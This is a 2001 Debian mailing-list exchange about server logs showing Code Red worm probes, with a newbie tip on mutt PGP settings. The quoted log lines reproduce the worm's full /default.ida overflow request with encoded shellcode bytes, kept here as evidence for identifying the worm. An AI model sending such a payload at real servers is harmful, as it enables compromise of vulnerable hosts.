Re: am i being wormed? aaugh!
On Sat, Aug 04, 2001 at 07:16:10AM -0500, ktb wrote:
> On Sat, Aug 04, 2001 at 05:56:30AM -0500, will trillich wrote:
> <snip>
> > worse, when i turned on normal text-format logging, i saw this:
> > www.worm.com Accept: */* 64.130.248.101 - - [03/Aug/2001:16:11:29 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 200 1622 "-" "-"
> > www.worm.com Accept: */* 194.78.202.75 - - [03/Aug/2001:16:12:38 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 200 1622 "-" "-"
>
> That's red worm all right.
> I've got 91 of these buggers so far. Most hits I've had in my logs for
> a while:) What is strange about yours is they are returning 200, all
> mine return 404.
the hits i track in postgresql show as 404, but the ones in the
plaintext logfile are indeed 200. now THAT's purty darn odd.
(maybe i messed with my apache config to just do a quick 'okay
fine whatever' when i sees a request for /default.ida?... i
forget, having slept since then...)
--
DEBIAN NEWBIE TIP #75 from USM Bish <bish@nde.vsnl.net.in>
:
Do you want to have MUTT IGNORE PGP-SIGNED MESSAGES? To have
mutt to *not* verify PGP-signed messages, you can shut it off
by including
set pgp_verify_sig = no
in your ~/.muttrc Or you could use:
set pgp_verify_sig = ask-no
to have mutt prompt you each time a signed message comes up,
with the default being not to verify.
Also see http://newbieDoc.sourceForge.net/ ...
Reply to: